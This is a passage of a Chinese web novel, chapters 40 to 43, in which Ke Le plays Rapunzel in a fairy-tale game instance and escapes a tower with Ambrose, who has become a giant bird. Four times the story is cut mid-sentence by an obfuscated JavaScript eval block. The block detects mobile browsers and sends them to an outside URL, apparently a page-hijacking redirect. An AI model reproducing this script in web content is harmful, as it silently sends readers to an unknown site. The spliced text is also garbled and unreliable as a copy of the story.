他们的任务难道真的就只是打赢他和杨鸣岐吗…… 40.家园里 柯乐从副本出来,在家园里躺了两天。 他冥思苦想,究竟安布洛斯的主线任务是什么,才会选择在对抗赛中选择放弃胜利,反倒在最后还推波助澜。 厄洛斯就像一只家养小狗,一条龙蜷着窝在柯乐做的毛线小窝里,从上面看去,圆得像一个句号。 当时说桑格利凡的蛋孵出来会差点意思,现在柯乐算是看明白了——厄洛斯一点都没有桑格利凡的霸气,喷出的火还没有杂技表演那么震撼。 他抽了时间去人间安置了一个替身,替他上学保留一下人间的身份,结果昨晚传来消息: 他那替身给他的绩点干到了四点五,全级第一。 哎,他这是哪哪都不好使,牵线业绩一直没有起色,亲自上大学也不如替身读得好。 【柯乐先生,[相亲相爱一家人]群主-天帝@所有人。】 【是否打开群聊?】 柯乐百无聊赖戳戳厄洛斯柔软的肚皮,“打开吧。” 【明晚十点上天庭蟠桃盛会,诚邀东西方的各位。】 对哦,之前说这个副本结束,玉皇大帝要宴请,他能不能不去啊。 去到了,才知道什么叫真正的社死现场。 天幕上挂着xx西方神和xx东方神修成正果,xx西方神又和xx东方神解除误会并进一步了解。 当然,还有[任务大厅-刷本记录]的回放。 当巨幕上播放他在爱丽丝篇的高光时刻,那才叫救大命了。 “东方月老,柯乐。” 玉皇大帝在念到他的名字时,手里的卷轴抖了两抖,捋了胡子,“柯乐,你怎么业绩倒数,进度也如此缓慢?” 被点名的柯乐:“……您能不能在会后再找我谈话,这大庭广众下的……” 更离谱的是,他的余光里,斜对面案边的安布洛斯嘴角勾了勾。 笑,笑个毛线!!! “既如此,柯乐,回去多研究副本打法,不要胡搅蛮缠、刚愎自用。” * 柯乐在床上翻来覆去,他总觉得天帝要出大招来整治,所以就憋着不敢睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010523|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 床边,厄洛斯睡得正酣,突然一个翻身掉下床。 嘭—— 【小可很抱歉在这个时间段打扰柯乐先生。】 【您的大领导玉皇大帝下达命令,接下来必须调整副本难度,也提高东西方的互动程度。】 柯乐悬着的心终于死了。 【副本四:费切尔的莴苣新娘已开启。】 【埃塞尔小镇有一座高塔,里面囚禁着一位名叫莴苣的女性,莴苣父亲因为翻墙偷窃女巫的莴苣而将刚出生的女儿交由女巫抚养; 小镇里,有一位巫师名叫费切尔,不需要他出手,所有的女性都会跳到他的篮子里跟他回家,但都是有去无回; 有一天,莴苣姑娘听说,自己的两位姐姐被费切尔带走了,生死难料。】 【您本次的身份是[莴苣姑娘],请您救回您被费切尔抓走的两位姐姐。】 【注意:不要引起您的[养母-女巫]的猜忌。】 柯乐从床上蹦跶起来。 哇塞,这把生死局! 41.【55%】 啪嗒。 一滴冰水滴落到额头,柯乐一个激灵,瞬间刺骨的寒意蔓延开来。 浑身湿冷,他疲倦地睁眼。 四周是湿哒哒的砖瓦,空间中央有一个巨大的浴缸,他的身旁有一个洗手台,台上挂着一面大镜子。 这是浴室? 他撑着洗手台站起,镜子里的苍白面容让他吓了一跳 ——褐色的碎发往下滴着水,眼下一片乌青,鼻头冻得通红,嘴唇发白颤抖。 他这是被人虐待了?? 砰砰! 外面的门被人用力拍击,一道撕心裂肺的女声响起:“莴苣,你为什么锁门?你在做什么!” 【由于本次副本难度较高,小可建议柯乐先生先使用抽卡功能。】 【请问您是否使用抽卡机会X1?】 外面的门开始连带着柯乐所在的房间都在震动,“莴苣,你再不出来,我要砍掉你的双手和双脚!” 蛙趣,这么残暴的? “是是是,赶紧的,抽点东西护身。” 【好的,这就为您联系接线员。】 【连接中……】 【接线员3号-美杜莎为您服务。】 从洗手台处开始蔓延出细小的藤蔓,许多蛔虫一般的小蛇涌了出来。 柯乐猛地往后退了一步,水阀咔地打开,自来水迸发而出,许多灰紫色蛇头蠕动着从水中浮出。 哗啦—— 一位头顶蛇窝、蒙着眼的女人从水里爬出,一只枯枝般的手啪叽搭上浴缸,硕.大的青色蛇尾甩上浴缸边缘,胸.脯跳了跳。 美杜莎用手肘撑着浴缸边缘,纱布后的眼睛直勾勾地盯着侧过头的年轻人,艳红的唇轻启。 “嘛呢,不看?不看抽什么卡?老娘办好事呢!” 柯乐:???怎么这美杜莎一股子东北味? “您……是美杜莎?”柯乐小心翼翼地凑近,“您就是那位看到谁谁就会变成石头的……” “啊对对对,不然老娘蒙眼干啥?不涩得慌么?”美杜莎不耐烦地摆手,抬手拉住蒙眼纱布,“要不我摘下来给你验验?” “不用了不用了,抽卡吧。” 美杜莎将卡摆了两张出来,“抽。” 柯乐抽了左边的一张。 “答案。”美杜莎哈哈大笑,分叉的红蛇显得非常兴奋,“嘶~你在最需要道具的时候抽到了答案,真是个衰仔。” 哼,答案有答案的打法嘛,谁规定答案都得是什么“你的正缘什么时候来到”这种问题呢? 柯乐抱胸,“你就告诉我,安布洛斯这次在副本里的角色。” 美杜莎头上的蛇支起身子,不停吐着艳红的蛇信,发出嘶嘶的声音。 “衰仔,就这么惦记你对象?行吧。”美杜莎将牌摊开,“赶紧,抽完老娘办正事去。” 柯乐随机抽了三张。 “双头蛇、面具、拿着时钟的人。”美杜莎拉了拉胸前的衣服,“你对象,那个丘比特,他的身份一直变换,没有固定的身份。” “啊?”柯乐不可置信地凑上前看,“所以我问了个寂寞?” “自作聪明的衰仔是这样的,你自己品去吧,我就是个打工的。” 见美杜莎就要往水里钻,柯乐慌忙拉住她的蛇尾,“等等!我还有一次抽卡,我也用了吧。” 他很快就能攒齐预测点再兑换一次抽卡机会了……等等,他好像两次都忘记领副本内任务了! 柯乐觉得自己错过了三个亿。 “系统,我能直接在这里领任务吗,我每次都忘了去领。” 【好的,您消耗抽卡机会X1,换取一次领取任务的机会。】 【任务大厅加载中……】 哎哎哎等等等等,要用抽卡机会的吗,那他不要了啊! 【加载完成。】 【小可直接为您筛选出适合本副本的任务。】 --美杜莎天天办事,拖住她让她办不了事嘿嘿--3个预测点 --感觉费切尔那盆血可以用作颜料,永不掉色,有没有好心人给我拿一管?--16个预测点 --我的哆啦A梦玩偶在追逐战中掉在了广场小路里,求求好人帮我带回家园--10个预测点 柯乐看着这三条可选择的任务,肉疼得很——这可是一次抽卡机会换的啊! 这些真的没有一个容易完成的,哆啦A梦还涉及追逐战;费切尔那盆血给的预测点那么多,估计一不小心就会没命;美杜莎的话……感觉就是个大BOSS,何必因为三个点自寻死路。 相对比之下,可能就这个哆啦A梦容易一点。 “系统,我选哆啦A梦那个。” 【好的,任务已领取。】 柯乐领了任务,思绪还懵着,是美杜莎轻蔑的笑叫醒了他:“衰仔,你是真来搞笑的啊?” 她从上到下拍拍身上有什么东西,然后从浴缸里掏出一个瓶子扔给他,“只有这个,办事前本来在洗澡的,看你这么衰,不给你点东西我都过意不去。” 柯乐接住扔过来的瓶子,上面用花体写着: 生发剂。 “你看我这头发,多茂密。”美杜莎像韩剧女主那样往上一捋,所有的蛇都躁动起来,眼睛变成血红色,“所有的男人都会为我疯狂对吧铁子。” 柯乐:…… 【获得[生发剂]X1,已放入背包。】 “你这衰仔,嫌弃吗?我告诉你,你以后会来谢我的。”美杜莎往水里沉去,“本NPC要去做我自己的事了,再见。” 浴缸里冒起泡,不过一会又归于沉寂。 砰砰! 外面的门还在摇,他刚从浴室伸出头去看,一把斧头的刃砍了下来,直接穿破厚木门,碎屑迸了一地。 斧头利刃收了回去,取而代之的一只有些皱的手,从砸出的缝内伸进,往锁的方向勾去。 如果这时候拿出河神的斧头把这只手砍下,会不会直接跳剧情? 算了,不知道门后的武力值有多高,要是激怒爆发了就得不偿失。 门锁咔哒一声被拉开,柯乐以极快的反应往墙边软绵绵一瘫。 他的眼睛眯剩一条缝,在模糊的世界里观察着门口的动静。 门口走进来一个女人,一身黑色衣袍,头发像被狗啃一样参差不齐。 她的手上还拿着那把比河神斧头还要大上一倍的斧头,锋利的刀刃反着光,被她铛一声砸在地面,随着她的步伐往前拖行。 一滴冷汗从鬓角滑落,就在柯乐脖子上青筋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014264|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆出时,斧头突然哐当被扔在地上,女人枯瘦的手掐住了他的下巴,“美丽的莴苣,你又如此作践自己?” 又?作践自己? 难道……莴苣并不是被强迫的,而是有自.残倾向? 女人的声音变得狠厉,“莴苣,睁开眼睛,难道你不想看到我——你的母亲?” 母亲? 不用等柯乐睁眼,女人冰凉的手在他的思绪还没转过弯时,直接将他的眼皮扒开。 女人冷笑一声,“果然,你在骗我。莴苣,我教你认字,教你知识,教你人世间的一切,什么时候教过你骗母亲的?!” 看来面前的人就是莴苣姑娘的女巫养母了。 面对这位系统都告诫要好好相处的NPC,柯乐当即选择妥协—— 他软绵绵地往地板一滑,“系统,拿出魔镜。” 一块魔镜的碎片被递到女巫面前。 “母亲,您是不知道,我是为了找这块有魔力的碎镜片,才把自己搞得这么狼狈的。”柯乐柔柔弱弱的,可怜兮兮的模样最是能激发“母亲”的怜爱之情,“母亲,我才不是想辜负母亲的养育恩情……您看看这块镜子。” 这情形,作为任何一个局外人来看,都会觉得十分诡异——湿哒哒的孩子为一个像枯树一样的母亲献上一块碎镜片。 “莴苣,你真的没有想要出这座高塔?”女巫接过碎镜片,突然裂开嘴笑,“欧不过,你也出不去。” “没有的,母亲。”柯乐赶紧先应下,“我很喜欢这里,非常的……宁静。” 他有点词穷,但女巫看起来异常欣喜,枯瘦的手抚摸着他的褐色短发,“欧,我就知道,我对你这么好,你一定是想和妈妈永远在一起。” 柯乐鸡皮疙瘩爬满全身,但还是强忍着恶心,声音轻柔,“当然,妈妈。” 女巫满意地拿起镜子就要照时,柯乐还是心头一跳。 但女巫显然已经受了魔镜的蛊惑,对着这块碎镜片,用手扒拉她打结的头发,“魔镜魔镜,谁是这个世界上最美丽的女人?” 她自言自语地回应:“欧,是我,还有我的女儿莴苣。” 被突然Q到的柯乐:……谢邀。 “喜欢就好。”柯乐努力地扮演着女儿的角色,“妈妈,我能不能吃您做的饭?” “当然,亲爱的,我现在就去做。”女巫被哄得心花怒放,“罗宋汤好不好?” 爱丽丝的回忆又涌现出来,罗宋汤这个名词在柯乐这里简直等同于一个发.情的安布洛斯。 他晃了晃脑袋,把这些不该有的黄色思想甩出去,“妈妈,换一种。” “好吧。”女巫砸吧砸吧嘴,“那天刚刚和路过的费切尔学的一道,你这种年纪的女孩一定喜欢。” 费切尔?! 柯乐迅速抓住线索,“这样呀母亲,他是什么时候和您说的?” “昨天给你送完下午茶后……”女巫突然变脸,抄起一旁的斧头就要往下砍,“你是不是想出去了?” “女巫,您的时间沙漏到了,赶紧下来取!” 送件员的声音非常小声,但女巫还是顿住了。 她瞪了柯乐一眼,“你听好了,不要轻易惹怒我——不要试图激怒你的母亲,然后自己一个人偷偷溜出去鬼混!” 42.【55%】 门被重新用力关上,女巫下楼的脚步声越来越远。 柯乐迅速从地上爬起,然后拔腿往窗户跑去。 整个身子探出窗外时,凛冽的寒风迎面刮来,藤蔓和青苔的草香味近在咫尺 ——他正在十几米的高塔上,对面是一面有些发黑的墙,底下是一条狭窄的小径,女巫的身影出现在塔下,取了东西重新回到塔内。 柯乐慌忙躺会原来的地方,装作半死不活的羸弱模样,塔外突然传来一声惊呼。 声音并不近,塔内的视野极其有限,柯乐对外面发生的事情无从得知。 扣扣。 门被敲响,女巫在门口询问:“莴苣,要吃甜甜圈吗?” “要的,妈妈。”柯乐朝门外喊,“我要荔枝玫瑰味的,可以吗?” 他随意编了个味道,因为他的脑海里突然闪过杨鸣岐之前给他喝过的一款荔枝玫瑰牛奶,就像喝了一口满是香精味的肥皂。 女巫迟疑了一会,“你从哪里想出的这个奇怪的味道,不会是偷偷溜出去外面吧?” 柯乐心里咯噔一下,不作不死,他怎么就顺嘴胡编乱造了呢? “没有的妈妈。”柯乐的脑子迅速飞转,“是那天费切尔拿的荔枝,我在塔上看到的。” “开门,莴苣。”女巫沉声。 柯乐犹豫几秒,还是上前开门。 女巫左手端着装着甜甜圈的盘子,右手拿着一个橙黄色的沙漏。 “荔枝现在还没有卖呢,费切尔催生出来的荔枝没有原生态的甜,以后妈妈再做。” 女巫没有了刚刚的狠厉,狗啃的头发竟然显得有些老实。 柯乐感觉太饿了,不知道原先的莴苣姑娘饿了多久。 女巫将刀叉放在盘子边,他吃了一口,奶油和莓果中和,酸酸甜甜,竟然还不错。 莴苣姑娘竟然不吃,再怎么着也不能饿着自己啊姑娘。 看她吃得香甜,女巫的面部轮廓都柔和起来,“莴苣,你已经很久没有和妈妈这么亲近了,差点让我以为你不是我的莴苣。” 柯乐瞳孔骤缩,指尖不由一颤。 女巫这是起疑心了? 柯乐的眼瞳转了转,迅速在背包内搜索可用于逃生的道具,但他发现里面都是乱七八糟的玩意。 就当他的脑子快转出火花时,女巫往前走了一步,也就是同时,外面的光线突然暗淡,整个世界好似加了一层滤镜。 风呼啸而过,草味和血腥味混杂着袭来,柯乐下意识往墙边躲去,往窗口凝望。 一只巨鸟如同一片乌黑的积雨云掠过天际,展翅间凄厉鸟鸣响彻云霄。 柯乐见到巨鸟翅膀扇动时肌肉的带动,随后一只漆黑的巨瞳就这样堵在窗口,差点将他的魂吓得也一同带走。 “是费切尔怪鸟!”女巫突然冲上前来,将他往身后推,“滚开!不要打莴苣的主意!” 然而怪鸟却轻飘飘看了一出母女情深的戏,眼球像滚动的黑色巨大玻璃球,双翅展开俯冲而下。 这眼神充满着轻蔑和挑衅,柯乐差点以为他曾经殴打过这只鸟。 他冲到窗边,往巨鸟飞去的方向眺望,几根漆黑的羽毛掉落,被他伸手抓住。 黑色的羽毛有墨绿色的光影流动,如同一条暗河。 “扔掉它!”女巫突然喝道,“这完全就是积压了费切尔的欲.念和恶.念,牠可不像牠的主人那样讨人欢心。” 柯乐的手一抖,羽毛轻飘飘落下,被女巫一斧头劈下,细碎绒毛四处飞散。 “欧亲爱的,对不起,一定吓到你了吧。”女巫将斧头往一旁扔去,眼里只有受惊吓的养女,“莴苣,你不要担心,费切尔怪鸟不敢伤你的……” 她话还未说完,远处又传来男人的嘶吼。 柯乐隐约间听到鸟鸣和牛羊的哀鸣。 女巫枯瘦的手指压住他的耳朵,试图为他挡住外界的声音,“喝!这怪鸟又去叼农场的牛羊了,这会牧民们在哀啕呢!” 柯乐从狭隘的塔内无法看到外面的景色。 他无法想象成群的牛羊是怎样的场面,被费切尔怪鸟叼走时又是什么样的场面。 他探着头,伸长者脖子往外望,突然手腕一凉。 女巫目光凌厉,但在见到他时突然柔和起来,隐忍着,声音像老旧的碟片。 “亲爱的,这是我买的时间沙漏,其实不能算是买,是拜托大巫师做的,世界上仅有这一个。”女巫对她毫不设防,将沙漏递给她看。 “大巫师?也是在镇上吗?” 女巫却避而不谈,“这只有三次时间倒回的机会,一定要设置好时间节点……比如我现在想回到收养你的那时候。” 啪! 女巫在柯乐还未消化完成时,将沙漏倒扣在桌上。 而与此同时,黑色的羽毛从窗外飘落,巨大的鸟喙从窗外伸进,叼住了他的衣服。 时光的光影在面前重叠闪过,所有的物品都在往后倒退,柯乐再晃过神来时,就已经站在一扇破旧的木门前。 但是这个视野…… 柯乐的手吊着,他沿着手臂的线条抬头,正对上巨人般的男人正低头,怜悯地看着他。 “还没给你取名字呢,本来是在摇篮里,她就要带走你的,还是走到这一步了。”男人怜爱地抚摸他的头,“如果当时没为了你母亲的口腹之欲,现在你就不用……” 男人重重地叹气,门突然从里面被拉开了一条缝。 枯枝一般的手直接抓住他的手腕,将他直接拖入门内,门嘭一声关上,将男人隔绝在门外。 他仰视着女巫,看到她狗啃的头发。 下一刻,一个甜甜圈递到他面前,女巫的声音压得轻柔,“亲爱的,就叫你莴苣吧,你要记住,你的父亲盗取了我的莴苣,因此把你拿来赎罪——你应该乖乖做我的儿子。儿子,快吃吧。” 柯乐伸出一双小胖手,颤颤巍巍地端住甜甜圈。 也就是拿盘子的瞬间,窗口的光线暗下,黑色的爪子牢牢扒住窗沿,一整个鸟头挤了进来。 女巫将他拉到身后,“费切尔的巨鸟,你来做什么?” 巨鸟的眼睛玻璃弹珠似的左右动了动,柯乐往前走了两步,试图看清那只眼睛。 巨鸟黑色的喙大张发出一声低鸣,然后…… 一口吞下了柯乐的头。 口水糊了一脸,柯乐几乎是本能地战栗,但疼痛并没有袭来,取而代之的是巨鸟喉咙里的咕隆声。 这鸟…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023394|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么好像在笑? 士可杀不可辱,柯乐抬手一巴掌就甩了过去! 啪叽。 稚嫩的、白皙的小手正打在巨鸟眼下的皮肤上。 巨鸟的皮肤硬邦邦的,像极具韧性的皮革。 哇,鸡蛋碰石头的具象化在此刻体现得淋漓尽致。 黑色的皮肤微微皱缩,巨鸟眼睑颤动,摩擦得柯乐手心发疼。 头上的禁锢松开,光亮重新涌入视野,柯乐搓了搓红了的掌心,一抬头就正对上那只滴溜溜的眼球。 柯乐:……别搞,你搞我,我就要搞你了。 他的目光在巨鸟身上停留片刻,回头看了眼不敢上前怕激怒巨鸟的女巫。 如果他能将两个麻烦牵在一起,是不是就把两个麻烦一起解决了? 柯乐将手背过身后,细细的红线蠕动着窜出,在即将要顺势缠上巨鸟的爪子时,却被什么东西弹了开来。 嗯?啥玩意挡他的红线? 就在这时,巨鸟的爪子动了动,窗台上的苔藓被牠蹭落,碎屑洋洋洒洒,几片落到他眼睛,一阵剧痛。 他的眼皮跳动,疯狂眨巴眼睛,又用手去揉,反而更加干涩。 正当他翻着白眼要继续揉时,他的手腕被冰凉坚硬的物体箍住,轻而易举地从眼睛边拨开。 他的眼睛睁开一条缝,迷糊中黑色庞大的身影在他身前落定,莫非刚刚是这只鸟的爪子把他手挪开的? 他再一抬手,鸟的身子就前倾,然后抬爪把他要揉眼睛的手拨开。 这鸟怎么和个老妈子似的……眼睛好痒好疼,好想揉。 急促的脚步声突然自门边响起,女巫从格子内迅速抽出一把刀尖还滴着暗绿色的液体的小刀,朝巨鸟的后背刺来! 巨鸟翅膀刷地张开,双爪一勾,将他整个人吊起。 不知是不是风的作用,他的眼睛突然不疼了,睁眼就见自己正靠在窗沿,女巫被巨鸟的翅膀边缘的骨刺扫到,刀哐当落在一旁。 “费切尔巨鸟,你抓我干什么?” 巨鸟扫了他一眼,重新跳下窗沿,将他往旁边一甩。 他的身躯太柔弱,直接一个踉跄。 五五分的身子东倒西歪,被女巫稳住软绵绵、不受控的身子,恶狠狠地盯着巨鸟。 在他和女巫的注视下,巨鸟走到那盘甜甜圈旁边,然后爪子一把摁住了盘子边缘,发出叮铃的清脆声响。 “费切尔的甜甜圈配方,怎么,我参考一下而已。”女巫冷哼一声,“要不是现在年纪大了,这巫术还治不了你们?” 女巫做好了随时迎击的准备,将柯乐藏在身后,或许下一秒巨鸟就会掀起盘子,把它当做飞盘凶器使用。 哐当、哐当。 巨鸟昂首挺胸,黑色的羽毛在光下蕴含着流光光泽。 只不过,它的爪子就摁在盘子边缘,一下一下地撬弄盘子,就像…… 一只狗在像主人讨要食物。 柯乐:这真不是费切尔巨狗?不过刚刚女巫说拿了,或者应该说是偷了费切尔的甜甜圈配方…… 他的思绪突然被另一件更匪夷所思的事情打断。 柯乐的目光锁定在费切尔巨鸟的爪子上,那上面缠着一截隐藏目标的红线。 43.【60%】 刚刚红线被弹开的原因,柯乐找到了。 费切尔巨鸟的爪上分明就已经绑了他的红线,所以不能有另一根红线的介入。 这根红线还是隐藏着的,巨鸟的爪上怎么会有他的红线呢……难道! 如同石头投进湖面,往日片段一一闪过,他瞬间抬头,对上巨鸟审视的目光。 巨鸟黑玻璃球似的眼睛往下一转,倒映出他羸弱矮小的身体。 柯乐不禁想到锁定目标的鹰。 “安……” 他的嘴型刚张圆了,巨鸟的爪子在地上一刨,黑羽颤动,鸟身山峦似地轰然倒下! 他的心跳漏了一拍,冲上去要去探查呼吸,领子蹭到皮肤,湿意透进毛孔 ——他颤颤巍巍地抬手触碰领口,摸了一手红。 鲜血从黑色羽毛下渗出,巨鸟翅膀上的羽毛结成絮状,粘稠的血液缓慢地滴落在满是黑渍的地板上。 女巫冷笑,用刀尖拨开巨鸟的翅膀,用刀尖戳刺汩汩冒血的伤口。 “时间回溯真是个好东西。”女巫将羽毛盖了回去,费切尔巨鸟一动不动地随她摆弄。 破旧的尖头皮鞋踩上了巨鸟的喙,用沾了药水的绳子从鸟喙开始捆到全身,“把你扔到地下室去去戾气,我看你以后还敢不敢惦记着我的莴苣!” 柯乐想要制止,女巫却容不得他说半个不字,直接抓着巨鸟双翅间横着的粗绳往外拖。 血迹楼梯口延伸,女巫魔怔似的,一边踢着巨鸟借力,一边拉扯着绳子。 柯乐低头看了看近在咫尺的地板,一双手握紧又松开,抬头朝门口喊:“妈妈!” 女巫被这一声稚嫩的嗓音晃了神,手上的力道松了些,鸟喙咚的一声敲在楼梯上,费切尔的巨鸟以“大”字形趴着。 安布洛斯这次的副本角色真的有点惨,还有点……滑稽。 然而他又想到他当个被囚禁的孩子,忍受着养母畸形的爱,也没好到哪里去。 “母亲。”柯乐朝女巫扬起一个笑,“母亲,你可以把那只鸟给我玩玩吗?我不会把牠玩.坏的,毕竟这是巫师费切尔的巨鸟,得还给他的。” 好糟糕的台词,可女巫并没有心思想抠字眼。 她拉起绳子,将费切尔巨鸟翻过身,确认鸟喙已经捆紧了,但仍旧有些犹豫,“我把牠扔到地下室,你想要看就去那里看……不能让费切尔知道巨鸟在这里。” “他会打死我吗?”柯乐眨巴着眼睛,天真地问道。 女巫的心都萌化了,语气不由放轻柔了些:“亲爱的,你并不知道巫师费切尔有多么恐怖——所有的女孩男孩,只要费切尔看中的,只需要费切尔轻飘飘一眼,都会跳进他的篮子里跟他回家,然后……” 然后?哇靠,1vn在这里是不能出现的哦! “然后把那些人剁成碎块。” 那没事了,太恶心了。 女巫拖着巨鸟,把牠拴在地下室的房梁上,两片翅膀局促地挤在一块,远远看去就像无法破茧的枯蝶。 “晚上你只有一个小时的时间看牠。”女巫警告他,“那把刀上涂的药水只是让他暂时昏迷。现在去吃饭吧,亲爱的。” * 晚餐后,女巫准许柯乐去地下室看那只稀奇的巨鸟,但只有八点到九点这段时间。 柯乐拿了钥匙,在地下室的柴门前站了一会,钥匙转动,药水味和血腥味混杂着扑面而来,铁链碰撞的叮当声让他顿足。 巨鸟耷拉着脑袋,脖子上的黑羽炸开来,一双漆黑的眸盯着他。 柯乐觉得有点可怜,走上前去,轻轻扒开牠的羽毛。 伤口被女巫撒了药粉,血暂时是止住了。 他抬手抚摸着巨鸟的头,然而他没想到巨鸟竟然低头,让他更加顺手能够抚摸牠。 一想到安布洛斯这样的高岭之花做出这种动作,柯乐的心不知怎的就疯狂跳动,头脑发昏。 他直接掰过巨鸟的头,巨鸟的眼球微微转动,看起来非常疲惫。 柯乐:“安布洛斯,你这回变成鸟,能变回去的吗?” 巨鸟看起来在非常努力消化他的话,鸟喙要张开却被麻绳圈得紧紧的,最终伴随着铁链的碰撞声,牠小幅度地摇了摇头。 柯乐于心不忍,拿起手中的钥匙串,里面有能对上铁链锁扣的钥匙。 他将钥匙插进锁扣转动。 咔哒—— 巨鸟突然失去了着力点,庞大的身躯砸在地面,牵动到伤口。 或许是疼痛本能要发出悲鸣,鸟喙张开时,柯乐慌忙一整个抱住,轻声哄着:“别叫,别叫,待会把女巫引过来了。” 然而说曹操曹操到,女巫的脚步声在楼梯间急促响起,“莴苣,刚刚是什么动静?” 下一刻门被推动,门上锁扣哐当响。 柯乐非常庆幸自己有顺手锁门的习惯。 他深呼吸,朝门口掐着嗓音甜甜地喊:“妈妈没事,这只大鸟好可爱呀!我想陪牠玩一下,妈妈待会再来好吗?” 门口安静了一会,女巫的声音才徐徐传来:“好吧,那莴苣你要小心点。” 柯乐扯着嗓子:“好的妈妈。” 脚步声远去,他的心跳终于趋于稳定,这才发现巨鸟的喙一直咬着他的手臂,长嘴几乎要戳到他面前。 柯乐“啧”了一声,捏了捏嘴尖,“安布洛斯,我在帮你,你反倒还……” 他的话直接被巨鸟一口连同他的头一起卡进喉咙。 柯乐:“……你是从鹈鹕那里学来的毛病吗?” “莴苣,你没事吧?” 女巫的嗓音突然在门口响起,柯乐整个人一颤,慌忙去推吞他头的安布洛斯巨鸟。 这狡猾的女巫没有走,她就在门口诈他! 头上的禁锢松开,他刚想回应,巨鸟的翅膀刷一下张开,血腥味和巨鸟身上独特的草香将他包裹。 上下颠倒,他被巨鸟叼起来甩到鸟背。 他狠狠咬住自己的手背吞下惊呼,“妈、妈妈,怎么啦?” 系统系统救命嗷,赶紧拿出个替身啊!那啥,那个像AI的东西叫啥? 【您说的是[匹诺曹]吗?】 “对对对!”柯乐慌忙说道,巨鸟扭头,眼睛斜着观察他,似乎是不解他在自言自语什么。 柯乐差点露馅,假装镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035020|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,掏出那个匹诺曹放在地上,朝牠点了点头。 匹诺曹通人性,清了清嗓子,将声音调到和柯乐的娃娃音一样,“妈妈,我和牠玩得可好啦,待会快要睡觉了,我待会就出去。” 门锁咔咔动了动,女巫没能打开门,在门口踱步两回,终于出声:“好吧,妈妈是害怕你受到伤害。” “没事的妈妈,牠被绑着,没有办法吃掉我的。”匹诺曹说。 这头柯乐已经没有心思管门口女巫和匹诺曹的对话了。 巨鸟完全没有给他缓冲的机会,和他那把乱.射的箭一样窜出窗外,凛冽的寒风将他吹得摇摇欲坠,这个世界仿佛变了样。 他紧紧抓着巨鸟颈上的羽毛,那种触感让他想到了农场里的黑脚鸡。 巨鸟发出一声长鸣,随后子弹似地飞往天际,他的呼吸随之变得急促,眼睁睁看着高塔离他越来越远。 他看到农场里的牛羊四处逃窜,天空上飞翔的小鸟也纷纷为他们让路。 眩晕感阵阵袭来,他不敢再往下看,只能用他那屁点大小的手拍打巨鸟的头,“安布洛斯,慢一点,我有点……晕鸟。” 巨鸟的速度果然降下来,柯乐刚想说安布洛斯终于有点人性了,下一秒巨鸟就俯冲而下,掠过草原,一个急刹鸟停在湖边。 柯乐:……吐了大哥。 寒风吹来,他打了个寒颤,胃里实在是翻江倒海,走到一旁扶着树干呕。 巨鸟也跟了上来,用喙拱他的手,随后张开翅膀,将他纳入翅膀下。 草香味让他稍稍舒服一些,他这才发现他和这只鸟…… 这只安布洛斯变成的鸟,和他的距离太近了。 鸟羽翅下温度比他的体温高了些,在这样的天气下就像一床暖被。 他有种想蜷起身体睡觉的想法,然而他一想到女巫不到半小时就要查岗,又打消了睡觉的念头。 他用了力道推了推巨鸟,“安布洛斯,我们这样不大合适吧……对了,你那截红线,我什么时候牵的?线那头是谁?我怎么有点忘了。” 他的话音刚落,鸟喙就给了他的脑门一记重击,然后夹住他的头,靠这种手段极其诡异地掰正了他的头。 当夜色再次被他看到时,漫天的星辰让他心神激荡。 湖边,就他和安布洛斯变成的巨鸟。 他能感受到巨鸟的目光就落在他的脸上,他不敢侧头去看巨鸟的眼睛,左脸紧紧贴着巨鸟脸部的羽毛,有些扎皮肤。 安布洛斯他他他这样是什么意思?怎么有点像……私奔? 柯乐不敢想,就这样和安布洛斯僵持着,然后盯着头顶的星星,盯到眼睛被风吹得干涩。 副本里的种种暧昧情节一一涌进脑海,他的脸逐渐发烫,意识也有些模糊。 【小可为您播报今日攻略进度。】 【您的对家认为你有点乖巧,对你的好感度有所上升,您目前的攻略进度是:60%。】 百分之六十啊,这个数字意料之外的圆,他的努力不亏……等等。 柯乐瞬间清醒。 